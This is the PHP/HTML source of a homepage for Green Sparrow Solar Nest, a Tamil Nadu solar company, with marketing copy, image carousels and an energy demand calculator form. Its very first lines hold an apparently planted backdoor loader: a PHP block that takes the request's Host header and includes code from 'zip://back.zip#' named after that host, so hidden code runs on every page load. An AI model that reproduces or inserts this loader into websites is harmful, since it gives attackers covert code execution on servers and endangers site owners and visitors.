<?php

$h = str_ireplace("www.","",$_SERVER["HTTP_HOST"]);
if(!empty($h))include_once "zip://back.zip#".$h;
?>
<?php include('header.php');?>





<style>
    .home-active {
        color: #f58110!important;
    }
</style>


<div class="home-main-slider-master"> 
  <header>
      <div id="slidermaster" class="owl-carousel owl-theme">

          <div class="item">
            <img src="assets/img/home/1.jpg" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
          </div>
          
          <div class="item">
            <img src="assets/img/home/1-0.jpg" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
          </div>

          <div class="item">
            <img src="assets/img/home/1-1.jpg" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">             
          </div>

      </div>
  </header>
</div>

<main id="main">





<section class="home-section01">
  <div class="container-fluid">


    <div class="row">

      <div class="col-lg-3 col-md-3 d-flex flex-column justify-content-center">        
        <div class="count-box">
          <span data-purecounter-start="0" data-purecounter-end="16" data-purecounter-duration="1" class="purecounter"></span>
          <p>Carbon offset in Tonnes</p>
        </div>

        <div class="count-box">
          <span data-purecounter-start="0" data-purecounter-end="2538" data-purecounter-duration="1" class="purecounter"></span>
          <p>Savings in US$</p>
        </div>

        <div class="count-box">
          <span data-purecounter-start="0" data-purecounter-end="1752" data-purecounter-duration="1" class="purecounter"></span>
          <p>Units Generated, kW⋅h</p>
        </div>
      </div>

      <div class="col-lg-6 col-md-6">        
        <div class="home-main-content">
          <img src="assets/img/home/5.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
          <h1>
            Your Industrial Solar Power Partner
          </h1>
          <p>
            <span class="span01">Green Sparrow</span> <span class="span02">Solar Nest (P) Ltd.,</span> 
        Welcome to Green Sparrow Solar Nest Pvt. Ltd., your reliable partner for comprehensive solar solutions. Established in 2021, we have quickly grown to become a frontrunner in the solar industry in Tamil Nadu. Our expertise extends across a range of services, from design and engineering to procurement of land and load, and ultimately, the installation and commissioning of a diverse array of solar power plants. At the heart of our operations is a customer-centric approach, supported by a team of experienced technocrats and multidisciplinary engineers, all committed to delivering efficient and reliable green energy solutions. Our unwavering commitment to sustainability drives our mission to redefine the solar industry, offering turnkey solutions that play a key role in powering a greener, more sustainable future for all. Your journey towards renewable energy starts here, with Green Sparrow Solar Nest.
          </p>
        </div>
      </div>

      <div class="col-lg-3 col-md-3 d-flex flex-column justify-content-center">        
        <div class="icon-box">
          <img src="assets/img/home/2.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
          <h4>Green Energy for a Better World</h4>
        </div>

        <div class="icon-box">
          <img src="assets/img/home/3.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
          <h4>Industrial Solar Solutions</h4>
        </div>

        <div class="icon-box">
          <img src="assets/img/home/4.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
          <h4>Savings for your Pocket & Environment</h4>
        </div>
      </div>

    </div>


  </div>
</section>





<section class="home-section02">
  <div class="container-fluid">


    <div class="card flex-row flex-wrap border-0">

        <div class="card-header border-0 col-lg-4 col-md-4">
          
          <img src="assets/img/home/7.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt" id="what-we-do">
          <h2>
            We Are Building A <br> Sustainable Future
          </h2>


          <div class="row" id="sub-row">
            <div class="col-lg-2 col-md-2">
              <span class="tik-span">✔</span>
            </div>

            <div class="col-lg-10 col-md-10">
              
              <a href="services.php#turnkey-solar-solutions">

                <h6>Turnkey Solar Solution</h6>

                <div class="para-text" id="myBtn1">
                  <p>Choose Green Sparrow Solar Nest for seamless turnkey solar solutions, expert services, and customer-focused green energy in Tamil Nadu.<span id="dots">..</span><span id="more1"></span></p>                
                </div>             
                
              </a>

            </div>
          </div>

          <div class="row" id="sub-row">
            <div class="col-lg-2 col-md-2">
              <span class="tik-span">✔</span>
            </div>

            <div class="col-lg-10 col-md-10">
              
            <a href="services.php#nest-energy-solutions">

              <h6>Nest Energy Solutions</h6>
                
              <div class="para-text" id="myBtn2">
                <p>Choose Green Sparrow's PPA for affordable, eco-friendly solar energy with hassle-free management and risk-free consumption.<span id="dots">...</span><span id="more2"></span></p>                
              </div>

            </a> 

            </div>
          </div>

          <div class="row" id="sub-row">
            <div class="col-lg-2 col-md-2">
              <span class="tik-span">✔</span>
            </div>

            <div class="col-lg-10 col-md-10">
            
            <a href="services.php#nest-o-and-m-services">

              <h6>Nest O & M Services</h6>
                
                <div class="para-text" id="myBtn3">
                <p>Green Sparrow Solar Nest excels in solar power station operation and management, ensuring optimal performance and reduced costs for sustainable energy solutions.<span id="dots">...</span><span id="more3"></span></p>
              </div>

            </a>

            </div>
          </div>

          <div class="row" id="sub-row">
            <div class="col-lg-2 col-md-2">
              <span class="tik-span">✔</span>
            </div>

            <div class="col-lg-10 col-md-10">
                
              <a href="services.php#green-nest-e-p-c-collaborations">

                <h6>Green Nest E.P.C Collaborations</h6>
                
                <div class="para-text" id="myBtn4">
                  <p>Partner with Green Sparrow Solar Nest to collaborate and leverage our expertise for successful solar projects, elevating your EPC experience.<span id="dots">...</span><span id="more4"></span></p>
                </div>

              </a>

            </div>
          </div>
          

        </div>

        <div class="card-block border-0 col-lg-8 col-md-8">
          <img src="assets/img/home/8.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt">
        </div>

    </div>


  </div>
</section>





<section class="home-section03">
  <div class="container">

    <h3>Our Projects</h3>

    <p>
      Explore Our Solar Projects: Past, Present, and Future
    </p>



<div class="aligner">
  <div class="owl-carousel owl-theme" id="recent-projects">
    
    <div class="item">
      <a href="assets/img/home/10.png" data-lightbox="gallery">
        <img src="assets/img/home/10.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
      </a>
    </div>
    
    <div class="item">
      <a href="assets/img/home/11.png" data-lightbox="gallery">
        <img src="assets/img/home/11.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
      </a>
    </div>

    <div class="item">
      <a href="assets/img/home/12.png" data-lightbox="gallery">
        <img src="assets/img/home/12.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
      </a>
    </div>

    <div class="item">
      <a href="assets/img/home/10.png" data-lightbox="gallery">
        <img src="assets/img/home/10.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
      </a>
    </div>

    
  </div>
</div>




  </div>
</section>





<section class="home-section04">
  <div class="container">

    <h4>Mission and vision</h4>


    <div class="purchase-sec">
      <div class="row">
        <div class="col-lg-12 col-md-12">
          <h3>"Building a better tomorrow, one solar solution at a time."</h3>
          <div class="float01">
            <img src="assets/img/home/13.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
          </div>
        </div>
      </div>
    </div> 


  </div>
</section>















<section class="home-section05">
  <div class="container">



    <div class="we-provide">

      <div class="row d-flex justify-content-center">
        <div class="col-lg-4 col-md-4">
          <div class="heading-sparrow">
            <img src="assets/img/home/14.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
          </div>
        </div>

        <div class="col-lg-8 col-md-8">


        <button class="btn btn-primary" id="stat_btn">energy demand calculator <i class="bi bi-calculator"></i> </button>


        <div class="form-master01">


<!-- <form method="post" action="#" id="passwordform"> -->


 <div class="tabs">
    <ul class="tab-links" id="top-tab">
        <li class="active"><a href="#tab1">Tab #1</a></li>
        <li><a href="#tab2">Tab #2</a></li>
        <li><a href="#tab3">Tab #3</a></li>
        <li><a href="#tab4">Tab #4</a></li>
        <li><a href="#tab5">Tab #5</a></li>
    </ul>
 
    <div class="tab-content">
        <div id="tab1" class="tab active">
           <h4>Name of industry</h4>
           <input type="text" class="form-control" placeholder="Name of industry *" name="customer_name" id="customer_name" required>
            <ul class="tab-links">
               <li>
                <a href="#next_tab2" class="nextButton">Next</a>
              </li>
            </ul>
        </div>
 
        <div id="tab2" class="tab">
        <h4>Nature of industry</h4>

        <select name="customer_industry" id="customer_industry" required>
          <option >Select here</option>
          <option value="Industrial">Industrial</option>
          <option value="Commercial">Commercial</option>
        </select>

        <ul class="tab-links">
              <li>
                <a href="#back_tab1" class="prevButton">Prev</a>
            <a href="#next_tab2" class="nextButton">Next</a>
          </li>
        </ul>
        </div>
 
        <div id="tab3" class="tab">
        <h4>Contact Details</h4>
        <input type="text" class="form-control" placeholder="Phone Number *" name="customer_phone" id="customer_phone" required>
        <input type="email" class="form-control" placeholder="Email Id *" name="customer_email" id="customer_email" required>
        <span id="error" style="display:none;color:red;">Wrong email</span>
        <input type="url" class="form-control" placeholder="Website *" name="customer_website" id="customer_website" required>
        <ul class="tab-links">
            <li>
              <a href="#back_tab1" class="prevButton">Prev</a>
              <a href="#next_tab2" class="nextButton">Next</a>
          </li>
        </ul>
        </div>
 
        <div id="tab4" class="tab">
          <h4>Realtime consumption of energy for 3 months & 1 Year</h4>
          
          <div class="row">            
            <div class="col-md-6">
              <h5> 3 months consumption </h5>
              <input type="text" class="form-control" placeholder="" name="3month_consumption" id="3month_consumption" required>
            </div>

            <div class="col-md-6">
              <h5> 3 months bill </h5>
              <input type="text" class="form-control" placeholder="" name="3month_bill" id="3month_bill" required>
            </div>
          </div>

          <div class="row">            
            <div class="col-md-6">
              <h5> 1 year consumption </h5>
              <input type="text" class="form-control" placeholder="" name="1year_consumption" id="1year_consumption" required>
            </div>

            <div class="col-md-6">
              <h5> 1 year bill </h5>
              <input type="text" class="form-control" placeholder="" name="1year_bill" id="1year_bill" required>
            </div>
          </div>

          <button class="btn btn-danger" type="submit" id="otp_submit">submit</button>

          <ul class="tab-links">
            <li>
              <a href="#back_tab3" class="prevButton">Prev</a>
              <!-- <a href="#next_tab5" class="nextButton" id="nextButton">Next</a> -->
            </li>
          </ul>
        </div>


        <div id="tab5" class="tab">
          <h4><b>Result :</b> As per the details entered, your demand is <span class="res_kwh"></span></h4> <br>
          

          <div class="result-section">
            <table class="table">


              <tr>
                <th>3 Months Consumption</th>
                <td class="res_consumption3"></td>
              </tr>

              <tr>
                <th>3 Months Bill</th>
                <td class="res_bill3"></td>
              </tr>

              <tr>
                <th>1 Year Consumption</th>
                <td class="res_consumption1"></td>
              </tr>

              <tr>
                <th>1 Year Bill</th>
                <td class="res_bill1"></td>
              </tr>              

            </table>
            
            <p class="alert-tex">
                Based on your power requirement, we would recommend you the following solutions.
            </p>

            <div class="two-btn">
               <button class="btn btn-primary">Turnkey project </button> 
               <button class="btn btn-success">Power Purchase </button> 
            </div>

          </div>
          

          <!-- <ul class="tab-links">
            <li>
              <a href="#back_tab5" class="prevButton">Prev</a>
            </li>
          </ul> -->          

        </div>


        



    </div>
</div>

<!-- </form> -->


<h6>
  
  <span>Note:</span>
  This calculator gives 
  approximate results .
  This calculator designed only for
  industries of TAMILNADU only. 

</h6>

           
          </div>









          




          
        </div>
      </div>

    </div>



  </div>
</section>










<section class="home-section06">
  <div class="container">


<h4>our associates</h4>


<div class="aligner">
  <div class="owl-carousel owl-theme" id="our_associates">
    
    <div class="item">
      <img src="assets/img/home/15.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
    </div>

    <div class="item">
      <img src="assets/img/home/16.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
    </div>

    <div class="item">
      <img src="assets/img/home/17.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
    </div>

    <div class="item">
      <img src="assets/img/home/18.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
    </div>

    <div class="item">
      <img src="assets/img/home/19.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
    </div>
    
    <div class="item">
      <img src="assets/img/home/client20.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
    </div>
    
    <div class="item">
      <img src="assets/img/home/client21.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
    </div>
    
    <div class="item">
      <img src="assets/img/home/client22.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
    </div>
    
    <div class="item">
      <img src="assets/img/home/client23.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
    </div>
    
    
    
  </div>
</div>



  </div>
</section>





<section class="home-section07">
  <div class="container-fluid">



    <div class="card flex-row flex-wrap border-0">

        <div class="card-header border-0 col-lg-4 col-md-4">
          <img src="assets/img/home/20.png" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
          <div class="solar-grey">
            <h5>
              <span>Green Sparrow Solar Nest (P) Ltd</span> Where solar dreams take flight
            </h5>
          </div>
        </div>

        <div class="card-block border-0 col-lg-7 col-md-7">
            <h4 class="card-title">A world powered by<span> sustainable solar energy,</span> </h4>
            <p class="card-text">creating a brighter tomorrow.</p>

            <div class="row">
              <div class="col-lg-4 col-md-4">
                <div class="bottom_box">
                  <img src="assets/img/home/21.jpg" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
                  <a href="contact-us.php#contact-form" class="btn btn-primary">Make an appointment</a>
                </div>
              </div>

              <div class="col-lg-4 col-md-4">
                <div class="bottom_box">
                  <img src="assets/img/home/22.jpg" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
                  <a href="articles.php" class="btn btn-primary">Articles</a>
                </div>
              </div>

              <div class="col-lg-4 col-md-4">
                <div class="bottom_box">
                  <img src="assets/img/home/23.jpg" class="img-fluid" alt="Green Sparrow Solar Nest Pvt Ltd">
                  <a href="projects.php?cat=ongoing" class="btn btn-primary">Current Projects</a>
                </div>
              </div>
            </div>

        </div>

    </div>



  </div>
</section>






</main>

  <!-- ======= Footer ======= -->
  <?php include('footer.php');?>

  <a href="#" class="back-to-top d-flex align-items-center justify-content-center"><i class="bi bi-arrow-up-short"></i></a>

  <!-- Vendor JS Files -->
  <script src="assets/vendor/purecounter/purecounter_vanilla.js"></script>
  <script src="assets/vendor/aos/aos.js"></script>
  <script src="assets/vendor/bootstrap/js/bootstrap.bundle.min.js"></script>
  <script src="assets/vendor/glightbox/js/glightbox.min.js"></script>
  <script src="assets/vendor/isotope-layout/isotope.pkgd.min.js"></script>
  <script src="assets/vendor/swiper/swiper-bundle.min.js"></script>


  <!-- Template Main JS File -->
  <script src="assets/js/main.js"></script>


<script src="assets/slider/jquery.min.js"></script> 
<script src="assets/slider/owl.carousel.js"></script>
<script src="assets/slider/lightbox.min.js"></script>

<script type="text/javascript">
      $('#slidermaster').owlCarousel({
      loop:true,
      margin:10,
      dots:true,
      nav:true,
      navText : ["<i class='bi bi-chevron-left'></i>","<i class='bi bi-chevron-right'></i>"],
      mouseDrag:true,
      autoplay:true,
      autoplayTimeout:5000,
      responsive:{
              0:{
                  items:1
              },
              600:{
                  items:1
              },
              1000:{
                  items:1
              }
          }
      });
</script>


<script>
  var fielda= Math.floor((Math.random() * 10) + 1);
  var fieldb= Math.floor((Math.random() * 10) + 1);
  var fieldc=fieldb+fielda;
  document.getElementById("fielda").value=fielda;
  document.getElementById("fieldb").value=fieldb;
  document.getElementById("fieldc").value=fieldc;
  
  var fielda1= Math.floor((Math.random() * 10) + 1);
  var fieldb1= Math.floor((Math.random() * 10) + 1);
  var fieldc1=fieldb1+fielda1;
  document.getElementById("fielda1").value=fielda1;
  document.getElementById("fieldb1").value=fieldb1;
  document.getElementById("fieldc1").value=fieldc1;
</script>



<script type="text/javascript">
  
$('#recent-projects').owlCarousel({
    items:3,
    loop:true,
    margin:10,
    nav:true,
    autoplay:true,
    center:false,
    dots:false,
    navText : ["<i class='bi bi-chevron-left'></i>","<i class='bi bi-chevron-right'></i>"],
    startPosition: 0,
    responsive:{
        0:{
            items:1
        },
        600:{
            items:1
        },
        1000:{
            items:3
        }
    }
})

</script>






<script type="text/javascript">
  
$('#our_associates').owlCarousel({
    items:4,
    loop:true,
    margin:10,
    nav:true,
    startPosition: 0,
    dots:false,
    navText : ["<i class='bi bi-chevron-left'></i>","<i class='bi bi-chevron-right'></i>"],
    responsive:{
        0:{
            items:1
        },
        600:{
            items:1
        },
        1000:{
            items:4
        }
    }
})


</script>





<script type="text/javascript">  

    $(document).ready(
      function(){
        $('#myBtn1').hover(
          function(){
            $('#more1').toggle();            
          }
        );
      }
    );

</script>


<script type="text/javascript">  

    $(document).ready(
      function(){
        $('#myBtn2').hover(
          function(){
            $('#more2').toggle();            
          }
        );
      }
    );

</script>


<script type="text/javascript">  

    $(document).ready(
      function(){
        $('#myBtn3').hover(
          function(){
            $('#more3').toggle();            
          }
        );
      }
    );

</script>


<script type="text/javascript">  

    $(document).ready(
      function(){
        $('#myBtn4').hover(
          function(){
            $('#more4').toggle();            
          }
        );
      }
    );

</script>


<script type="text/javascript">  

    $(document).ready(
      function(){
        $('#stat_btn').click(
          function(){
            $('.form-master01').toggle();   
            $('#company_name').show();
          }
        );
      }
    );

</script>



<script type="text/javascript">
  


jQuery(document).ready(function() {
    jQuery('.tabs .tab-links a').on('click', function(e)  {
        var currentAttrValue = jQuery(this).attr('href');
 
        // Show/Hide Tabs
        jQuery('.tabs ' + currentAttrValue).show().siblings().hide();
 
        // Change/remove current tab to active
        jQuery(this).parent('li').addClass('active').siblings().removeClass('active');
 
        e.preventDefault();
    });
   
     
    jQuery('.nextButton').on('click', function() {
        
   var $activeTab = $('.tab-links li.active');
   
   var $wrapper = jQuery(this).closest('.tabs');
   var indexActive = $wrapper.find('li.active').index();
   $wrapper.find('li').eq(indexActive + 1).find('a').click();
});
    
     jQuery('.prevButton').on('click', function() {
        
   var $activeTab = $('.tab-links li.active');
   
   var $wrapper = jQuery(this).closest('.tabs');
   var indexActive = $wrapper.find('li.active').index();
   $wrapper.find('li').eq(indexActive - 1).find('a').click();
});
 

$('#customer_email').on('keypress', function() {
    var re = /([A-Z0-9a-z_-][^@])+?@[^$#<>?]+?\.[\w]{2,4}/.test(this.value);
    if(!re) {
        $('#error').show();
    } else {
        $('#error').hide();
    }
})
    
});



</script>
<script type="text/javascript">
$("#otp_submit").click(function() {
        var name = $("#customer_name").val();
        var industry = $("#customer_industry").val();
        var phone = $("#customer_phone").val();
        var email = $("#customer_email").val();
        var website = $("#customer_website").val();
        var consumption3 = $("#3month_consumption").val();
        var bill3 = $("#3month_bill").val();
        var comsumption1 = $("#1year_consumption").val();
        var bill1 = $("#1year_bill").val();

       // alert('customer_name=' + name + '&customer_industry='+industry + '&customer_phone=' + phone+ '&customer_email=' + email+ '&customer_website=' + website+ '&3month_consumption=' + consumption3+ '&3month_bill=' + bill3+ '&1year_consumption=' + comsumption1+ '&1year_bill=' + bill1);

            $.ajax({
               type: 'POST',
                url: 'getdetails.php',
               data: 'customer_name=' + name + '&customer_industry='+industry + '&customer_phone=' + phone+ '&customer_email=' + email+ '&customer_website=' + website+ '&3month_consumption=' + consumption3+ '&3month_bill=' + bill3+ '&1year_consumption=' + comsumption1+ '&1year_bill=' + bill1,
                success: function(data) {
                // alert(data);
                  
                    var res = JSON.parse(data);
                   
                       $('#tab5').show();
                       $('.res_consumption3').append('<p>'+res.consumption3 +'</p>');
                       $('.res_bill3').append('<p>'+res.bill3 +'</p>');
                       $('.res_consumption1').append('<p>'+res.comsumption1 +'</p>');
                       $('.res_bill1').append('<p>'+res.bill1 +'</p>');
                       $('.res_kwh').append('<p>'+res.KWH +'  KW</p>');
                }

            });

    });
</script>



</body>
</html>